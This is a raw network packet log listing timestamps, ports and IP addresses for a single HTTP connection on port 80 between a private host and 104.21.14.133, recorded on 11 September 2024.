Sep 11, 2024 18:23:50.194158077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194169044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194171906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194179058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194196939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194200993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194205046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194210052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194237947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194237947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194237947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194237947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194237947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194323063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194329023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194333076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194344044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194346905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194350958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194358110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194363117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194367886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194377899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194381952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194386005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194391012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194395065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194405079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194413900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194413900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194422960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194427013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194432020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194436073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194439888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194439888 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194469929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194473982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194478035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194482088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194487095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194490910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194495916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194502115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194505930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194505930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194505930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194582939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194587946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194592953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194602966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194606066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194611073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194616079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194619894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194693089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194696903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194701910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194713116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194717884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194721937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194725990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194730043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194735050 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194735050 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194735050 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194735050 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194750071 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194761992 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194838047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194844007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194850922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194860935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194864988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194869995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194875002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194879055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194884062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194895029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194896936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.194900036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194905996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194911957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194916010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194920063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194926023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194930077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194936991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194983959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194988966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194993019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195003986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195005894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195005894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195005894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195005894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195008039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195013046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195019007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195024014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195029974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195034981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195039034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195044041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195050001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195084095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195087910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195092916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195132017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195132017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195132017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195132017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195132017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195185900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195190907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195195913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195249081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195252895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195256948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195269108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195272923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195276976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195291042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195296049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195302010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195302010 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195302963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195306063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195311069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195316076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.195322990 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.195357084 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440155029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440164089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440169096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440195084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440200090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440207958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440218925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440222979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440227032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440232038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440236092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440241098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440248013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440253973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440258980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440258980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440258980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440264940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440268993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440273046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440278053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440279007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440304995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440545082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440552950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440558910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440573931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440577984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440582037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440593004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440597057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440619946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440629959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440634966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440639019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440640926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440640926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440640926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440646887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440650940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440655947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440661907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440665960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440670013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440676928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440697908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440697908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440727949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440759897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440773010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440779924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440792084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440797091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440800905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440804958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440809965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440814972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440819979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440825939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440829992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440834045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440840960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440865993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440865993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440865993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440906048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440910101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440911055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.440913916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440920115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440923929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440928936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440933943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440937996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440943956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440948963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440958977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440962076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440968037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440973997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440978050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440983057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.440988064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441041946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441046953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441051960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441052914 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441052914 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441057920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441061974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441066980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441071987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441076040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441078901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441083908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441083908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441083908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441083908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441171885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441178083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441183090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441188097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441189051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441193104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441196918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441204071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441207886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441211939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441246986 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441246986 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441246986 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441270113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441273928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441278934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441288948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441293001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441297054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441302061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441356897 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441356897 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441356897 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441474915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441479921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441483974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441502094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441504955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441513062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441524982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441529036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441533089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441538095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441540956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441545963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441551924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441555977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441565990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441570997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441575050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441577911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441582918 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441582918 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441582918 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441740036 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441761971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441766977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441771030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441783905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441792011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441797018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441802979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441807985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441812992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441848040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441852093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441853046 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441853046 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441853046 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441855907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441862106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441865921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441870928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441875935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.441973925 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.441973925 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.445147038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.445151091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.445156097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.445516109 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.445854902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.445976973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.445981026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.445991039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.445996046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446000099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446003914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446008921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446012974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446047068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446062088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446068048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446074009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446078062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446089029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446093082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446096897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446103096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446108103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446113110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446124077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446127892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446131945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446136951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446141958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446142912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446142912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.446217060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446221113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446224928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446235895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446239948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.446244955 CEST	80	49710	104.21.14.133	192.168.2.5
